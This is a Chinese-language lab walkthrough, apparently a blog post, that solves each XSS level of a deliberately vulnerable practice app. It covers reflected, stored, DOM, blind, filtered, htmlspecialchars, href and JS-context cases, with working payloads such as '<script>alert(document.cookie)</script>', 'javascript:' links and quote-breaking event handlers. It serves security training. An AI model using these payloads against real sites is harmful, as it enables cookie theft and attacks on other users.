参考借鉴
反射型xss(get)
输入payload:<script>alert(123)</script>
![](https://img-blog.csdnimg.cn/direct/98b964b36bae40cd8a8448efed87d8b0.png)
解决一:在URL框内输入
![](https://img-blog.csdnimg.cn/direct/0959e91caa934dd6bc65a2477ca0ae3b.png)
解决二:修改最大长度
![](https://img-blog.csdnimg.cn/direct/bf9fbc165080475c9245dbfab56917d3.png)
再次输入payload:<script>alert(123)</script>
![](https://img-blog.csdnimg.cn/direct/dbfdb40a58ff4e78926b2d3aa427dee7.png)
成功弹窗
![](https://img-blog.csdnimg.cn/direct/6e8cba04279d4412b57962dc8b661a7e.png)
F12打开开发者工具,发现payload被注入
![](https://img-blog.csdnimg.cn/direct/a532209701be4bad8743acccdf23d4a3.png)
反射型xss(post)
首先登录
![](https://img-blog.csdnimg.cn/direct/7b4ed6fe021d49f4a4447ce331e7caed.png)
输入payload:<script>alert(document.cookie)</script>
![](https://img-blog.csdnimg.cn/direct/bf0f345ed96d49d6aa35d7ae63b074f6.png)
成功弹窗
![](https://img-blog.csdnimg.cn/direct/6edfa7ad01ad4fbd9e98360a5ec1287a.png)
存储型xss
输入payload:<script>alert(document.cookie)</script>
![](https://img-blog.csdnimg.cn/direct/b71957c51593467bb0dc044f5d58b045.png)
成功弹窗
![](https://img-blog.csdnimg.cn/direct/4cb5a81768e642218c754490663036c0.png)
![](https://img-blog.csdnimg.cn/direct/46d4588221874dc7be129340cb58cd1b.png)
F12查看一下源代码
![](https://img-blog.csdnimg.cn/direct/754fb1baf14a46dda2fe0ddab61dda6b.png)
复制网址
![](https://img-blog.csdnimg.cn/direct/b239823bf6fa43379909a72079c97939.png)
刷新页面或者用其他浏览器来到本页面,也出现同样的弹框,
说明存储型XSS能危害所有访问该页面的用户
![](https://img-blog.csdnimg.cn/direct/4375cde6e6af48fcbc33a8c18b2f4e35.png)
DOM型xss
![](https://img-blog.csdnimg.cn/direct/a7544b8b2670446bbb243e3ded1a36ff.png)
F12分析源码
![](https://img-blog.csdnimg.cn/direct/42ea1ff8539546b78c0a93b5811628ac.png)
利用了DOM将字符串进行了拼接并把值给a标签中的href,然后输出一个what do you see?
可以利用已知条件构建payload
<a href='' οnclick='alert(123)'>'>what do you see?</a>
Payload为:
'οnclick='alert(123)'>
<a href=''><img src=''οnerrοr='alert(123)'/>'>what do you see?</a>
Payload为:
'><img src=''οnerrοr='alert(123)'/>
输入上面的payload
成功弹窗
![](https://img-blog.csdnimg.cn/direct/6181907af9804cd3912c7668455acb31.png)
DOM型xss-x
提交之后的内容跑到URL里面去了(这是和上一关的不同)
![](https://img-blog.csdnimg.cn/direct/ea2e0054eb3040e39eb95c0f7112890d.png)
F12查看源码
![](https://img-blog.csdnimg.cn/direct/0a1b38af781c4de7a99160f7cc37bdb8.png)
分析可知这题跟上题一样,也是利用了DOM将字符串进行拼接并把值给a标签的href
<a href='' οnclick='alert(123)'>'>what do you see?</a>
Payload为:
'οnclick='alert(123)'>
<a href=''><img src=''οnerrοr='alert(123)'/>'>what do you see?</a>
Payload为:
'><img src=''οnerrοr='alert(123)'/>
成功弹窗
![](https://img-blog.csdnimg.cn/direct/3bbcaac000aa4d84aa6425c3f85f6026.png)
DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击
xss之盲打
![](https://img-blog.csdnimg.cn/direct/9def4730e2514855a9e355f6e10a48e1.png)
F12查看源码
![](https://img-blog.csdnimg.cn/direct/e25cd081516e41b6a8e16f930e8136b1.png)
查看提示
![](https://img-blog.csdnimg.cn/direct/35bdb2959f214fc6a8d7b722c103e05c.png)
登录
![](https://img-blog.csdnimg.cn/direct/48ec1d2a7be64a67816dfd4a36a65a6a.png)
登录成功
![](https://img-blog.csdnimg.cn/direct/d3eb01e48c174587af60bbc2ee260972.png)
输入payload:<script>alert(document.cookie)</script>
![](https://img-blog.csdnimg.cn/direct/d713e5aad0cc4262b40ccc22843602b0.png)
成功弹窗
![](https://img-blog.csdnimg.cn/direct/31f98b7bb6ac4fe19bb797007e501f53.png)
xss之过滤
![](https://img-blog.csdnimg.cn/direct/66b34a2daf064ce5ba291ed55300d409.png)
输入payload:<script>alert(123)</script>
![](https://img-blog.csdnimg.cn/direct/fa2df0db79cf42b1adf0a77a9a6420d3.png)
找出被过滤的内容
![](https://img-blog.csdnimg.cn/direct/a2e47a930a234dfabf8c5b4759fe9019.png)
被过滤的内容是<*script,那就不用< script>标签,尝试使用别的标签
<a herf="#" οnclick="alert(document.cookie)">
成功弹窗
![](https://img-blog.csdnimg.cn/direct/e8f91f8f98204eb4be5ce7f32cdfef80.png)
xss之htmlspecialchars
htmlspecialchars函数是 PHP 中的一个内置函数,它将特定的HTML字符转换为HTML实体字符
例如:htmlspecialchars( "<script>") 输出结果为:<script> 因此<script>脚本就不会起作用
![](https://img-blog.csdnimg.cn/direct/650f2694bb3e4f099bf847bacc10d56f.png)
Ctrl+U查看源码
![](https://img-blog.csdnimg.cn/direct/504c93b4a20f43edb62166143de90a29.png)
验证了htmlspecialchars函数的作用,可以用单引号闭合,PHP8.0之前不会转译单引号
输入payload:' οnclick='alert(1)'
成功弹窗
![](https://img-blog.csdnimg.cn/direct/8a4abb39719a49b18427a7725b9a6eb6.png)
xss之href输出
输入payload:<script>alert(123)</script>
![](https://img-blog.csdnimg.cn/direct/55dc9647029548ef80e1cf8394c08d1c.png)
Ctrl+U查看源码,Ctrl+F搜索关键词,发现输入的payload已经被转译
![](https://img-blog.csdnimg.cn/direct/5fffe2ac08c741539cf8519035f29ee0.png)
输入payload:' οnclick='alert(1)'
换成单引号试试,发现还是被转译
![](https://img-blog.csdnimg.cn/direct/48cae14fdbe249a9a694c611d912e4a0.png)
<a>标签中href属性值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表
因此可以在<a>标签中添加JS代码段
输入payload:javascript:alert(document.cookie)
成功弹窗
xss之js输出
输入payload:<script>alert(123)</script>
![](https://img-blog.csdnimg.cn/direct/86709c2a9ee5427db9ba6e9a93572793.png)
Ctrl+U查看源代码,Ctrl+F查找关键词
刚刚输入的东西跑到<script>标签内了,并且没有被编码
![](https://img-blog.csdnimg.cn/direct/8ae98a7e54fd482fbdacd360f2847528.png)
现在只需要插入一条JS语句就好了,用';闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的';
输入payload:';alert(123);//
成功弹窗
![](https://img-blog.csdnimg.cn/direct/3bfd60fb3c804e2fa45bc5bc44b5e4dc.png)